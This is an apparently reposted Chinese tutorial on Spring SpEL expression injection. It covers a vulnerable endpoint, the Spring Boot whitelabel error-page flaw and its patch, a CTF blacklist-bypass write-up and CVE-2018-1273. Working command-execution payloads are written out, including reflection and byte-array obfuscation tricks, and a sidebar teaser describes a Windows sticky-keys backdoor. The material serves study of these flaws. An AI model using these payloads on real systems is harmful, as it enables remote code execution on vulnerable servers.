java spel_SPEL表达式注入-入门篇

java spel_SPEL表达式注入-入门篇SpringExpressionLanguage(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于UnifiedEL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。一个最基础的…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图。语言语法类似于Unified EL,但提供了额外的功能,特别是方法调用和基本的字符串模板功能。同时因为SpEL是以API接口的形式创建的,所以允许将其集成到其他应用程序和框架中。

个人理解就是Spring框架中的一种语言表达式,类似于Struts2中的OGNL的东西。

一个最基础的触发例子

@RequestMapping(“/spel”)

@ResponseBody

public String spel(String input){

SpelExpressionParser parser = new SpelExpressionParser();

Expression expression = parser.parseExpression(input);

return expression.getValue().toString();

}

直接将用户的输入当作表达式内容进行解析。

输入一个简单的乘法运算 2*2 ,可以看到返回的值是经过解析后的 4

c81ed5eb6fbd7f6627cf8937e1ffba28.png

执行下系统命令

/spel?input=new java.lang.ProcessBuilder(“calc”).start()

0df27a46d147500ee475f2989567b228.png

Spring Boot SPEL表达式注入

算是一个比较早期的漏洞,影响的版本有

1.1.0-1.1.12

1.2.0-1.2.7

1.3.0

这里测试使用的是 1.2.0 的版本

1.2.0.RELEASE

漏洞触发的条件是在错误页面中输出用户可控的值,如下是一个简单的demo

@RequestMapping(“/”)

public String index(String payload){

throw new IllegalStateException(payload);

}

直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面

3c85c20fe1bad00ebd9ec479fa25ae37.png

并可以看到将 payload 的值输出到了页面中,但输入一个SPEL表达式 ${xxx} 时,却会返回解析之后的值

e1717ebc7872355fa5b54ee07ad43184.png

漏洞分析

找到生成错误页面的代码断

spring-boot-autoconfigure-1.2.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class:101

在SpelView的render方法中打下断点

747546f17e530fc48cf1b3bc523c1ed7.png

可以看到是在 this.helper.replacePlaceholders(this.template, this.resolver) 中生成了错误页面,然后返回给result

template 就是错误页面的模板,其中也包含着几个SPEL表达式变量

Whitelabel Error Page

This application has no explicit mapping for /error, so you are seeing this as a fallback.

${timestamp}
There was an unexpected error (type=${error}, status=${status}).
${message}

在变量 map 里已经获取到了这几个变量的值

9a9c794566dd7ca9009a2e91188806ff.png

跟进 replacePlaceholders 函数之后可以来到 PropertyPlaceholderHelper.class:59

1f187263f44b8f7f6391f31cff7cf44b.png

while循环中循环解析 ${xxx} 的表达式,例如第一个解析到 ${timestamp} ,取出中间的值,然后通过

String propVal = placeholderResolver.resolvePlaceholder(placeholder);

跟进去看一下具体的处理方法

039f449a4b9caa405d82076de2f9a516.png

可以看到这里将表达式中间的值带入了SPEL表达式进行解析,然后返回了对应的值(返回前还进行了一次 html 编码,防止XSS

让我们来跟一下处理 ${message} 时的处理方式

05d4d2aea0727aeb361ceced52132c9d.png

可以看到在取到 ${message} 的值 propVal 之后,由于其不等于null,于是又递归进行了一次 parseStringValue

由于此时的 propVal 值为 ${2*2} 就会和之前的解析表达式流程一样再进行一次SPEL表达式解析。

c2b98457a8416b12a57dc53ad9ff54b6.png

可以看到此时将 ${2*2} 解析成了4,然后返回在了页面中,从而触发了漏洞。

由于这里SPEL返回值时进行了一次html编码,所以导致取出的 ${message} 值时会进行一次转义,因此之前的payload

${new java.lang.ProcessBuilder(“calc”).start()}

需要进行一些小小的改动

${new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()}

f1cf0d5db557ca2c3d71e682759d0979.png

漏洞补丁

新增了一个 NonRecursivePropertyPlaceholderHelper 类用以防止递归

测试环境为1.3.1

可以看到 SpelView 中的 helper 变成了 NonRecursivePropertyPlaceholderHelper

private final NonRecursivePropertyPlaceholderHelper helper = new NonRecursivePropertyPlaceholderHelper(“${“, “}”);

当第一次解析的时候,可以看到

61de4424c6cf8b5942ecbd5423a93507.png

此时 placeholderResolver 的 resolver 是一个 ExpressionResolver 类型

但是当递归解析时

85c3df497d6f47a1449801d4bc190155.png

就被嵌套了一层,从而变成了 NonRecursivePropertyPlaceholderResolver

然后再每次解析表达式前,也增加了个判断

public String resolvePlaceholder(String placeholderName) {

return this.resolver instanceof NonRecursivePropertyPlaceholderHelper.NonRecursivePlaceholderResolver ? null : this.resolver.resolvePlaceholder(placeholderName);

}

如果是 NonRecursivePlaceholderResolver 类型就直接返回null,从而停止递归解析。

Code-Breaking javacon

上学期p神的一道代码审计题,由于根本不会 java 那时候就空着了。如今回过头来发现也是一道SPEL注入题,感觉难度其实比其他 PHP 的要简单不少,但是耐不住Java的入门门槛稍高。

题目逻辑就不梳理了,看一下代码应该就能看懂,直接来看存在漏洞的部分。

@GetMapping

public String admin(@CookieValue(value = “remember-me”, required = false) String rememberMeValue,

HttpSession session,

Model model) {

if (rememberMeValue != null && !rememberMeValue.equals(“”)) {

String username = userConfig.decryptRememberMe(rememberMeValue);

if (username != null) {

session.setAttribute(“username”, username);

}

}

Object username = session.getAttribute(“username”);

if(username == null || username.toString().equals(“”)) {

return “redirect:/login”;

}

model.addAttribute(“name”, getAdvanceValue(username.toString()));

return “hello”;

}

重点在 getAdvanceValue(username.toString()) 中

private String getAdvanceValue(String val) {

for (String keyword: keyworkProperties.getBlacklist()) {

Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);

if (matcher.find()) {

throw new HttpClientErrorException(HttpStatus.FORBIDDEN);

}

}

ParserContext parserContext = new TemplateParserContext();

Expression exp = parser.parseExpression(val, parserContext);

SmallEvaluationContext evaluationContext = new SmallEvaluationContext();

return exp.getValue(evaluationContext).toString();

}

可以看到这里进行了明显的SPEL表达式的解析。但是在解析之前会进行黑名单的校验

keywords:

blacklist:

– java.+lang

– Runtime

– exec.*\(

在控制器中可以看到,其实表达式的值 username 是可以通过Cookie中的 remember-me 来控制的,但是经过了一点加密。

但由于是白盒,这层加密也可以直接看到加密算法。这样我们就可以控制SPEL中传入的值了

提一句,一开始我以为页面中返回的值是 model.addAttribute 中的 name ,后来看了下html页面中发现只是打印了 ${session.username}

这里为了方便调试,将 name 的值也打印了出来

>

>

>

This is admin panel.

>

>

>

加密的算法也在 Encryptor.java 中,我们可以通过这个来生成对应的密文

public static void main(String[] args){

String rememberMeKey = “c0dehack1nghere1”;

String encryptd = Encryptor.encrypt(rememberMeKey, “0123456789abcdef”, “#{2*2}”);

System.out.println(encryptd);

}

bf6fc9241a780507b73549cb6d4d5e5b.png

可以看到 name 的值确实就是传入的SPEL表达式解析之后的值

说一个自己遇到的小疑惑,之前Springboot的例子中SPEL表达式的标识符是 ${} 这个可以从代码中看到是匹配了, ${ 和 } 标识的,那为什么这里的标识符是 #{}

我们可以来到解析SPEL表达式的地方,发现这里其实是多了一些东西的。

> ParserContext parserContext = new TemplateParserContext();

> Expression exp = parser.parseExpression(val, parserContext);

>

这里在解析表达式的时候传入了第二个参数 parseContext ,这是个 ParserContext 类的参数,里面就定义了SPEL表达式的标识符。这也就是这里标识符用 #{} 的原因了

8569ac8f3312e161a3f370dbf0fb12b6.png

继续回到题解上,由于有黑名单的限制,所以之前命令执行的payload传入时会被检测到,这里来看下别的师傅的payload。

#{”.getClass().forName(‘java.la’+’ng.Ru’+’ntime’).getMethod(‘ex’+’ec’,”.getClass()).invoke(”.getClass().forName(‘java.la’+’ng.Ru’+’ntime’).getMethod(‘getRu’+’ntime’).invoke(null),’calc’)}

好吧,是有点长,看起来有点晕。从 getClass 、 forName 、 getMethod 、 invoke 这些函数可以看出是用了反射的机制。

我们可以一步一步来分析下这个payload

”.getClass()

// class java.lang.String

”.getClass().forName(‘java.la’+’ng.Ru’+’ntime’)

// class java.lang.Runtime

”.getClass().forName(‘java.la’+’ng.Ru’+’ntime’).getMethod(‘ex’+’ec’,”.getClass())

// public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException

”.getClass().forName(‘java.la’+’ng.Ru’+’ntime’).getMethod(‘getRu’+’ntime’)

// public static java.lang.Runtime java.lang.Runtime.getRuntime()

”.getClass().forName(‘java.la’+’ng.Ru’+’ntime’).getMethod(‘getRu’+’ntime’).invoke(null)

// java.lang.Runtime@c2939a

”.getClass().forName(‘java.la’+’ng.Ru’+’ntime’).getMethod(‘ex’+’ec’,”.getClass()).invoke(”.getClass().forName(‘java.la’+’ng.Ru’+’ntime’).getMethod(‘getRu’+’ntime’).invoke(null),’calc’)

// java.lang.ProcessImpl@f2f85c

可以看到,其实整个payload就是在凑 invoke 需要的参数,通过 forName 和 getMethod 来获取 Runtime.exec 的函数和类。

这样就可以将 java.lang.Runtime 和 .exec 用字符串拼接的方式进行黑名单的绕过。最后命令执行。

这里就弹个计算器以表尊敬

e4303424d27735f391f4da9f15d6ff5d.png

CVE-2018-1273: RCE with Spring Data Commons

漏洞POC为

curl -X POST http://localhost:8080/account -d “name[#this.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘calc.exe’)]=123”

漏洞分析

漏洞触发点为 spring-data-commons-1.13.10.RELEASE-sources.jar!/org/springframework/data/web/MapDataBinder.java:158

e9369b8bcb07b44548be508f18dda32e.png

可以看到是一个很明显的SPEL表达式的注入。

查看调用栈可以发现,此处应该是一个 Data Commons 自动化绑定传入参数的操作。

a4d1ddcaa058f4e6c93ce9dfa7ccf953.png

@Override

protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory, NativeWebRequest request) throws Exception {

MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());

binder.bind(new MutablePropertyValues(request.getParameterMap()));

return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());

}

可以看到最后将传入的参数进行了绑定。之前触发漏洞的地方 setPropertyValue 就是在设置参数的值。

把传入参数的key值取出然后进行了SPEL表达式的解析。

8015a438a180303b6c68eeac6c21cdc9.png

从而触发了漏洞。

漏洞修复

可以看到将之前的 StandardEvaluationContext 替换成了 SimpleEvaluationContext

SimpleEvaluationContext 对于权限的限制更为严格,能够进行的操作更少。只支持一些简单的Map结构。

再次执行POC时可以看到,虽然参数还是传入了 context 中,但是执行 setValue 的时候会抛出异常,从而无法进行攻击。

9ecc00bfed800fd0656237c5d471de91.png

References

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/194814.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)
blank

相关推荐

  • 启用shift后门的方法_shift按五次怎么取消

    启用shift后门的方法_shift按五次怎么取消一、什么是shift后门?shift后门是黑客希望以后方便进入服务器而在没有密码的情况下为进入服务器系统而设置的一个后门。其操作就是在不知道管理员密码的情况下,连续按5次shift键来启动粘滞键,已进入服务器的系统程序管理器。二、shift后门的制作?其制作有很多种,下面介绍一种常用的,可以明白其原理自己扩展:在cmd窗口,敲打命令如下:copyc:\windows\ex

  • UE4/UE5 代理使用介绍[通俗易懂]

    UE4/UE5 代理使用介绍[通俗易懂]原创文章,转载请注明出处。UE4有一套代理机制,整理了一下做个介绍。也请大家做补充。有了代理,方便我们做代码设计,减轻耦合。文章里面的代码下载链接:代理单播代理二级目录三级目录多播代理二级目录三级目录单播代理二级目录三级目录多播代理二级目录三级目录…

  • 第十一讲:独立成分分析(Independent Components Analysis )

    第十一讲:独立成分分析(Independent Components Analysis )接下来我们要讲的主体是独立成分分析(IndependentComponentsAnalysis,缩写为ICA)。这个方法和主成分分析(PCA)类似,也是要找到一组新的基向量(basis)来表征(represent)样本数据。然而,这两个方法的目的是截然不同的。还是先用“鸡尾酒会问题(cocktailpartyproblem)”为例。在一个聚会场合中,有n个人同时说话,而屋子里的任意…

  • js 定位到某个锚点的方法

    js 定位到某个锚点的方法

  • Python IDE —— PyCharm的基本介绍「建议收藏」

    Python IDE —— PyCharm的基本介绍「建议收藏」本文由Markdown语法编辑器编辑完成。PyCharm的介绍:PyCharm是一款Python的IDE的编辑工具,它是由Jetbrains出品的产品。之前我在做Web项目,前端撰写JavaScript代码时,就是用的他们公司出品的前端开发神器WebStorm。因此,也一直对他们的产品很感兴趣,而且,如果是同一个公司的产品,在很多设置上都是相同的,也可以减少一些学习成本。PyCharm的官网地址

  • ASP.NET MVC是如何运行的

    ASP.NET MVC是如何运行的ASP.NET由于采用了管道式设计,所以具有很好的扩展性,整个ASP.NETMVC应用框架就是通过扩展ASP.NET实现的。通过上面对ASP.NET管道设计的介绍我们知道,ASP.NET的扩展点主要体现在HttpModule和HttpHandler这两个核心组件之上,整个ASP.NETMVC框架就是通过自定义的HttpModule和HttpHandler建立起来的。为了使读者能够从整体上把握ASP.NETMVC框架的工作机制,接下来我们按照其原理通过一些自定义组件来模拟ASP.NETMVC的

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号